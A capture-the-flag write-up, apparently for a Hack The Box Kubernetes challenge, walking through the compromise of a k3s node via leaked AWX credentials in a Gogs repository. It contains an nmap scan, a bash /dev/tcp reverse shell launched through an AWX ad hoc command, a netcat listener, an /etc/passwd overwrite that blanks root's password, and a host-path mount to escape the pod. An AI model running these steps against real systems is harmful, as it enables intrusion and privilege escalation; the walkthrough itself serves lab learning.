This challenge is dealing with a vulnerable Kubernetes node on which is installed Ansible (AWX).

Challenge info :

We have located Monkey Business operator blog where they are leaking personal informations. We would like you to break into their system and figure out a way to gain full control.

Recon

The challenge info does not really any useful tips, so we start with a scan with nmap :

# Nmap 7.92 scan initiated Sat Jul 16 12:37:01 2022 as: nmap -v -p- -sC -A -T4 -oA scan 10.129.188.134
Nmap scan report for operator.htb (10.129.188.134)
Host is up (0.031s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp    open  http          Apache httpd 2.4.41 ((Ubuntu))
|_http-title: MonkeyLeaks
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp  open  ppp?
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gogs=8ae51640f958beb6; Path=/; HttpOnly
|     Set-Cookie: _csrf=8Mmeqdq3hwSqTRyki5eWCCmYJ_Y6MTY1Nzk2Nzg3NzkxMTExMTQ3MA; Path=/; Domain=operator.htb; Expires=Sun, 17 Jul 2022 10:37:57 GMT; HttpOnly
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     Date: Sat, 16 Jul 2022 10:37:57 GMT
|     <!DOCTYPE html>
|     <html>
|     <head data-suburl="">
|     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
|     <meta name="author" content="Gogs" />
|     <meta name="description" content="Gogs is a painless self-hosted Git service" />
|     <meta name="keywords" content="go, git, self-hosted, gogs">
|     <meta name="referrer" content="no-referrer" />
|     <meta name="_csrf" content="8Mmeqdq3hwSqTRyki5eWCCmYJ_Y6MTY1Nzk2Nzg3NzkxMT
|   HTTPOptions: 
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     X-Content-Type-Options: nosniff
|     Date: Sat, 16 Jul 2022 10:38:03 GMT
|     Content-Length: 108
|_    template: base/footer:15:47: executing "base/footer" at <.PageStartTime>: invalid value; expected time.Time
8443/tcp  open  ssl/https-alt
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: 25092d7b-3958-4b2c-9876-f78df5cc93e3
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Sat, 16 Jul 2022 10:38:04 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: 446a3c46-92a8-4c3b-ae11-7ec6c770478a
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Sat, 16 Jul 2022 10:38:03 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   HTTPOptions: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: fb02feb6-645b-4f6d-9516-fcd8d400979c
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Sat, 16 Jul 2022 10:38:04 GMT
|     Content-Length: 129
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|_http-title: Site doesn't have a title (application/json).
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:operator, IP Address:10.129.188.134, IP Address:10.129.227.232, IP Address:10.129.227.241, IP Address:10.43.0.1, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Issuer: commonName=k3s-server-ca@1657128507
| Public Key type: ec
| Public Key bits: 256
| Signature Algorithm: ecdsa-with-SHA256
| Not valid before: 2022-07-06T17:28:27
| Not valid after:  2023-07-16T10:21:46
| MD5:   da3f e79a a53f dca3 6c4e 2d8b 5fec d8a6
|_SHA-1: 5b22 f787 f4ea 9dea 81ca f7d6 0937 03b4 cf4d 4e9d
10250/tcp open  ssl/http      Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=operator
| Subject Alternative Name: DNS:operator, DNS:localhost, IP Address:127.0.0.1, IP Address:10.129.188.134
| Issuer: commonName=k3s-server-ca@1657128507
| Public Key type: ec
| Public Key bits: 256
| Signature Algorithm: ecdsa-with-SHA256
| Not valid before: 2022-07-06T17:28:27
| Not valid after:  2023-07-16T10:21:37
| MD5:   8db8 5e9c 41f7 bb4c 0b25 409c d78c 38ed
|_SHA-1: 745c 3d7e 3902 ba98 8374 8329 190e 4771 dd41 49ec
30080/tcp open  http          nginx
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-favicon: Unknown favicon MD5: F479283B993E09934AE4349244AD3BC0
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port3000-TCP:V=7.92%I=7%D=7/16%Time=62D29505%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,2108,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;
SF:\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gogs=8ae51640f958beb6;\
SF:x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=8Mmeqdq3hwSqTRyki5eWCCmY
SF:J_Y6MTY1Nzk2Nzg3NzkxMTExMTQ3MA;\x20Path=/;\x20Domain=operator\.htb;\x20
SF:Expires=Sun,\x2017\x20Jul\x202022\x2010:37:57\x20GMT;\x20HttpOnly\r\nX-
SF:Content-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nDate:\x
SF:20Sat,\x2016\x20Jul\x202022\x2010:37:57\x20GMT\r\n\r\n<!DOCTYPE\x20html
SF:>\n<html>\n<head\x20data-suburl=\"\">\n\t<meta\x20http-equiv=\"Content-
SF:Type\"\x20content=\"text/html;\x20charset=UTF-8\"\x20/>\n\t<meta\x20htt
SF:p-equiv=\"X-UA-Compatible\"\x20content=\"IE=edge\"/>\n\t\n\t\t<meta\x20
SF:name=\"author\"\x20content=\"Gogs\"\x20/>\n\t\t<meta\x20name=\"descript
SF:ion\"\x20content=\"Gogs\x20is\x20a\x20painless\x20self-hosted\x20Git\x2
SF:0service\"\x20/>\n\t\t<meta\x20name=\"keywords\"\x20content=\"go,\x20gi
SF:t,\x20self-hosted,\x20gogs\">\n\t\n\t<meta\x20name=\"referrer\"\x20cont
SF:ent=\"no-referrer\"\x20/>\n\t<meta\x20name=\"_csrf\"\x20content=\"8Mmeq
SF:dq3hwSqTRyki5eWCCmYJ_Y6MTY1Nzk2Nzg3NzkxMT")%r(Help,67,"HTTP/1\.1\x20400
SF:\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n
SF:Connection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,14A,"
SF:HTTP/1\.0\x20500\x20Internal\x20Server\x20Error\r\nContent-Type:\x20tex
SF:t/plain;\x20charset=utf-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;\x20M
SF:ax-Age=2147483647\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20Sat
SF:,\x2016\x20Jul\x202022\x2010:38:03\x20GMT\r\nContent-Length:\x20108\r\n
SF:\r\ntemplate:\x20base/footer:15:47:\x20executing\x20\"base/footer\"\x20
SF:at\x20<\.PageStartTime>:\x20invalid\x20value;\x20expected\x20time\.Time
SF:\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\
SF:x20Bad\x20Request");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.92%T=SSL%I=7%D=7/16%Time=62D2950B%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\nAudit-Id:\x2044
SF:6a3c46-92a8-4c3b-ae11-7ec6c770478a\r\nCache-Control:\x20no-cache,\x20pr
SF:ivate\r\nContent-Type:\x20application/json\r\nDate:\x20Sat,\x2016\x20Ju
SF:l\x202022\x2010:38:03\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\"kind\"
SF::\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Failure\
SF:",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized\",\"code\":401
SF:}\n")%r(HTTPOptions,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\nAudit-Id:\
SF:x20fb02feb6-645b-4f6d-9516-fcd8d400979c\r\nCache-Control:\x20no-cache,\
SF:x20private\r\nContent-Type:\x20application/json\r\nDate:\x20Sat,\x2016\
SF:x20Jul\x202022\x2010:38:04\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\"k
SF:ind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Fai
SF:lure\",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized\",\"code\
SF:":401}\n")%r(FourOhFourRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\
SF:nAudit-Id:\x2025092d7b-3958-4b2c-9876-f78df5cc93e3\r\nCache-Control:\x2
SF:0no-cache,\x20private\r\nContent-Type:\x20application/json\r\nDate:\x20
SF:Sat,\x2016\x20Jul\x202022\x2010:38:04\x20GMT\r\nContent-Length:\x20129\
SF:r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"sta
SF:tus\":\"Failure\",\"message\":\"Unauthorized\",\"reason\":\"Unauthorize
SF:d\",\"code\":401}\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
SF:0close\r\n\r\n400\x20Bad\x20Request")%r(RTSPRequest,67,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\
SF:nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SSLSessi
SF:onReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/p
SF:lain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Req
SF:uest")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\
SF:r\n\r\n400\x20Bad\x20Request");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=7/16%OT=22%CT=1%CU=37015%PV=Y%DS=2%DC=T%G=Y%TM=62D2956
OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=3%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M539ST11NW7%O2=M539ST11NW7%O3=M539NNT11NW7%O4=M539ST11NW7%O5=M539ST1
OS:1NW7%O6=M539ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M539NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Uptime guess: 42.389 days (since Sat Jun  4 03:19:14 2022)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3389/tcp)
HOP RTT      ADDRESS
1   30.33 ms 10.10.14.1
2   30.23 ms operator.htb (10.129.188.134)

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 16 12:39:42 2022 -- 1 IP address (1 host up) scanned in 160.36 seconds

This scan is typical of a Kubernetes node. We can recognize the ports number 8443 and 10250 of the different components of Kubernetes, along with the obvious output of the scan. We learn that this is a minikube instance.

There are 3 HTTP servers listening : one on the standard port 80, one on port 3000 and one of port 30080. It is interesting to note that 30080 is in the range of the reserved Kubernetes ports to publish its services. The web server running on port 30080 is most likely a pod running on the cluster.

Webserver - 80

This website is a blog containing only one article. This article proposes us to buy a data leak, giving us a link to a sample :

This link, http://operator.htb:3000/MonkeyBusiness/personal-uk-leak-2022, is pointing to the web server on port 3000. Let’s take a look.

Going through Gogs - 3000

The website on port 3000 is actually a Gogs instance. Like GitHub, it is hosting git repositories, and the link to the leak we got before is one of these :

We can take a look at the leak by downloading it, but it does not seem related to the challenge. However, this server still gives us a lot of information. We can create an account without difficulty, and start to explore.

  • The users : there are 6 users visible, most of them seem inactive but the accounts of b15h0p and Z10N seem interesting.

  • The repositories : there is only one repository visible, named awx-operator. This raises an alert in our mind : the link about the leak we consulted before is not available in public. It is because Gogs allows repositories to be hidden but still available to those possessing the link. As such, it is possible to access repositories which are not listed in public if we are able to get the name of the repository.

Taking a look at awx-operator, it seems to be a copy of this project, which is a web-based GUI for Ansible that can be put on a Kubernetes cluster. As we are able to see with the recent activities of the users b15h0p and Z10N, there is a closed issue available :

Interesting. If the repository awx-k8s-config have been created with this exact name and put in public, we should be able to access it by using the link. Sure enough, when visiting http://operator.htb:3000/MonkeyBusiness/awx-k8s-config :

If we explore the commits, we see that there are leaked credentials (of course, the content of the issue was not a clue). We find the following password, XRxpw33WnfY3MTgQ, associated to an AWX instance deployed on a Kubernetes. To see if everything fits, let’s visit the third website !

AWX (Ansible) instance - 30080

We are not surprised to find a AWX instance waiting for us.

By trying the password we found on Gogs with the username admin, we manage to log in :

Now comes the hard part. I have never used Ansible before, even if I have heard of it. A YouTube crash course later, I know that Ansible is used to automate managing tasks on a lot of computers.

First shell on a pod

When taking a look around at the AWX instance, we see that we can create jobs, which are launched in executions environments (basically a pod of a specific image). These jobs allow us to run Ansible playbooks against a list of hosts, which are accessible by providing the matching credentials. For example, I could run an update command on my computer by creating the right host and credentials objects, then launching a job with the commands I want to execute and choosing the environment I want to start the job in.

We are not interested in running commands on distant hosts here, but to take control of the server. In order to get a foothold in a pod, we can execute a job with a reverse shell in the command, in order to get access to a pod and start exploring the cluster from the inside.

To do that, we can go on Inventory, click on the Demo Inventory, and go to the panel Hosts. There is a button Run command :

We then have some parameters to configure, let’s use a shell module to be able to run our reverse shell, we put our bash reverse shell (bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1') as argument. We then choose the AWX EE execution environment and the demo credentials (the credentials are useless here). Setting up the listener first with nc -lvnp 4444, we launch the job :

Aaaand success ! We got a shell !

 $ nc -lvnp 4444
Connection from 10.129.96.192:33430
bash-4.4$ id    
id
uid=1000(runner) gid=0(root) groups=0(root)
bash-4.4$ 

Exploring the pod

Now that we have a shell, our goal is to enumerate the pod and the cluster in order to try and break out of the pod to the host. First of all, as we have seen just before, we are in the root group, meaning that we can become root very easily. One way to do that is modifying the /etc/passwd file in order to remove the x of the root:x:0:0:root:/root:/bin/bash line, in order to remove the root password. After doing that, we can become root by just typing su.

Sadly, when enumerating the container, we see that there is nothing interesting around. I have enumerated by hand and tried to use a few tools (deep-ce, kdigger) without any success. It does not look like we will be able to escape of this container as it is now. Let’s get back to AWX to see if we can improve our situation.

Tweaking AWX parameters to get privileges

On AWX, we can configure our running environments in order to match our needs. For example, we can choose the image we want to start from (which is this case is not very useful, as we will not get any more privileges this way, and the server is offline, so we won’t be able to pull new images).

But when taking a deeper look to the jobs parameters, we see something interesting :

The Paths to expose to isolated jobs option seems to be what we need. If we can mount the root of the host into our container, we will be able to escalate to it. Let’s add the "/:/host" line to this config in order to try to do that. In order for this to work, we also need to enable the Expose host paths for Container Groups option. This option enables us to have access to the Kubernetes host (anyway, the sentence HostPath volumes present many security risks in the description makes us want to enable it either way). Relaunching our exploit job to get a shell with a fresh pod, we finally get access to the host :

$ nc -lvnp 4444
Connection from 10.129.96.192:14215
bash-4.4$ ls /host
ls /host
bin
boot
cdrom
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
bash-4.4$ 

We now have a few possibilities to login directly on the host, such as changing SSH keys or configuration, or directly changing the password, but we will just grab the flag under /host/root/flag.txt. Do not forget to redo the steps described above to elevate your privileges to root first :

bash-4.4$ echo 'root::0:0:root:/root:/bin/bash' > /etc/passwd 
echo 'root::0:0:root:/root:/bin/bash' > /etc/passwd
bash-4.4$ su
su
id
uid=0(root) gid=0(root) groups=0(root)
cat /host/root/flag.txt
HTB{ph4LL_7HRU_d1M3n510N_0f_p0d5}

Flag : HTB{ph4LL_7HRU_d1M3n510N_0f_p0d5}